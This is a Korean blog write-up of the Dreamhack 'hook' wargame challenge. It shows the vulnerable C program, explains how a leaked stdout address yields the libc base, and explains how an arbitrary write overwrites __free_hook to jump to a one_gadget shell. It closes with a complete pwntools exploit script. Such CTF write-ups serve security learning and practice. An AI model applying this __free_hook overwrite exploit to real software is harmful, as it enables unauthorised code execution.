[Dreamhack] 메모리 훅 실습 - hook

형준·2023년 5월 30일
0

Dreamhack Wargame

목록 보기
1/1

✅ 문제


🕮 소스 코드

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
   puts("TIME OUT");
   exit(-1);
}

void initialize() {
   setvbuf(stdin, NULL, _IONBF, 0);
   setvbuf(stdout, NULL, _IONBF, 0);
   signal(SIGALRM, alarm_handler);
   alarm(60);
}

int main(int argc, char *argv[]) {
   long *ptr;
   size_t size;

   initialize();

   printf("stdout: %p\n", stdout);

   printf("Size: ");
   scanf("%ld", &size);

   ptr = malloc(size);

   printf("Data: ");
   read(0, ptr, size);

   *(long *)*ptr = *(ptr+1);

   free(ptr);
   free(ptr);

   system("/bin/sh");
   return 0;
}

⚙️실습 환경
Environment

  • 64 bitlittle-endian 형식으로 이루어짐
  • Full RELRO : 특정 섹션에서 writable권한이 없음
  • Canary : Buffer Overflow시 canary값을 유지해야함
  • NX enabled : Shellcode를 주입하여 실행할 수 없음
  • No PIE : 코드 영역에서 random화가 일어나지 않는다.


✅ 문제 접근


1. 취약점 분석

1) libc_base 구하기

    printf("stdout: %p\n", stdout);
  • printf 함수를 이용하여 libc에 있는 stdout의 실제 주소를 얻을 수 있다.
    libc의 버전을 알면 stdoutlibc 안에서의 상대적인 위치를 얻을 수 있기에 이를 이용하면 실행할 때 libc의 시작주소를 구할 수 있다.

2) 원하는 주소에 원하는 값을 넣을 수 있다.

	read(0, ptr, size);
    *(long *)*ptr = *(ptr+1);
  • size는 유저로 부터 받기에 ptr에 원하는 값을 넣을 수 있다.
  • *(long *)*ptr을 해석하는 것이 중요하다.
    1. *ptr 값은 사용자가 입력한 값을 가리킨다.
    2. (long *)*ptr은 사용자가 입력한 값을 주소처럼 생각한다는 뜻이다.
    3. *(long *)*ptr은 사용자가 입력한 값이 가리키는 장소의 값을 뜻한다.

정리하면 다음과 같다.

사용자가 넣은 값 ptr[0]이 가리키는 곳에 ptr[1]의 값을 넣는다.


3) system("/bin/sh")

 	system("/bin/sh");
  • main 함수에 존재하는 system("/bin/sh")을 이용하면, shell을 얻을 수 있다.


2. 공격 설계

mallocfree를 호출하고 있으므로 malloc_hook혹은 free_hook을 이용하고, 1-2에서 본 취약점을 이용하여 hook변수의 값을 임의로 바꾼다.

read함수 이후에는 free가 나타나기 때문에, free_hook을 이용하여 문제를 풀 수 있다.


Flow
1. libc의 주소를 stdout을 이용하여 구한다.
2. ptr__free_hook의 주소와 원하는 주소의 흐름을 넣는다.
3. free가 호출되면서 __free_hook이 가리키는 주소로 간다.

이때 원하는 주소의 흐름으로 넣을 수 있는 것은 한번에 쉘을 딸 수 있는 one_gadget을 이용하거나, system("/bin/sh")를 이용한다.
이때 system함수 같은 경우, main에서 호출되었기 때문에, 이 주소를 이용하면 사용할 수 있다 (No PIE 이기에 가능함)



✅ 문제 풀이


  1. libc의 주소를 stdout을 이용하여 구한다.
  • libc의 경우 libc-2.23.so이 주어졌기에 이를 이용하여 stdout의 상대적 거리(offset)를 구한다.
    stdout의 offset

readelf를 이용하여 구하였다. pwntools.symbols['stdout']을 이용하여도 무관하다. stdout_offset = 0x3c5708

  • libc의 주소를 받기 위하여 pwntools를 이용하였다.
	p.recvuntil("stdout: ")
	stdout_address =int(p.recvline()[:-1],16)

이렇게 된다면 libc의 시작 주소는 stdout_address - stdout_offset을 이용하면 구할 수 있다.


  1. __free_hook과 원하는 실행 주소를 넣는다.
  • __free_hook의 경우 libc에 정의 되어 있기 때문에 똑같이 offset을 구하고 실제 주소를 구한다.

    __free_hook의 offset을 구하였으니, libc_base와 함께 실제 주소를 구할 수 있다.
    물론 gdb-peda에서 실행 후 print &__free_hook을 사용하여 주소를, vmmap을 이용하여 libc의 시작주소를 구하여 둘을 빼서 offset을 구할 수도 있다. pwntools 역시 가능
  • 이후 원하는 주소를 넣을 것인데 one_shot가젯을 넣어본다.
    one_gadget libc-2.23.so을 이용하여 가젯을 구한다.

    이 값들 중 constraints를 만족하는 주소를 넣어주면 된다.

  1. 페이로드 작성
    read에 넣을 내용으로 __free_hook의 주소와 one_shot의 주소를 넣어준다. 두 주소 모두 8byte 이므로 long과 같은 타입으로 위에서 언급한 주소에 값 넣기가 진행된다.

⚔️ Exploit Code

    from pwn import *

	p = process("./hook")
	e = ELF("./hook")
	libc = ELF('./libc-2.23.so')
	
    # receive stdout's address
	p.recvuntil("stdout: ")
	stdout_address =int(p.recvline()[:-1],16)
	print("stdout:",hex(stdout_address))

	# stdout's offset = 0x3c5708
	libc_base = stdout_address - libc.symbols["_IO_2_1_stdout_"]
	print("libc_base:",hex(libc_base))
	
    # __free_hook's offset = 0x3c3ef8
	free_hook = libc_base + libc.symbols["__free_hook"]
	print("__free_hook:",hex(free_hook))

	one_shot_offset = [0x45226,0x4527a,0xf03a4,0xf1247]
	one_shot = libc_base + one_shot_offset[1]
	print("one_shot:",hex(one_shot))

	payload = p64(free_hook)
	payload += p64(one_shot)

	p.recvuntil("Size: ")
	p.sendline('1000')

	p.recvuntil("Data: ")
	p.sendline(payload)
	
    p.interactive()

실행 결과
result



마치며


system("/bin/sh")을 이용하는 방법에 대하여서도 생각하여 해보길 추천함

profile
>_0v

0개의 댓글